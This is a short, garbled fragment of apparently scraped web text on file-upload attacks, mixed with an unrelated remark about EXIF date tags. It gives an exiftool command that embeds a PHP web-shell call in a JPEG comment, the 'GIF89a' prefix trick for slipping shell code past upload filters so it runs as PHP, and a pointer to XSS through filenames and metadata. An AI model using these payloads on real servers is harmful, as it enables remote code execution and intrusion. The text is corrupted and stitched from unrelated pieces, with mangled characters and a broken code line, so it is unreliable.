

In image exiftool -Comment='" system($_GET) ?>' lo.jpgĮxiftool is a great tool to view and manipulate exif-data. So it would look something like this: GIF89a incīasically you just add the text "GIF89a " before you shell-code. It passed the filter and the file is executed as php. File Upload XSS 1) Filename 2) Metadata exiftool -FIELDXSS FILE.
That leaves the EXIF tags.Date/Time Original and Create Date should be the same for a modern camera picture.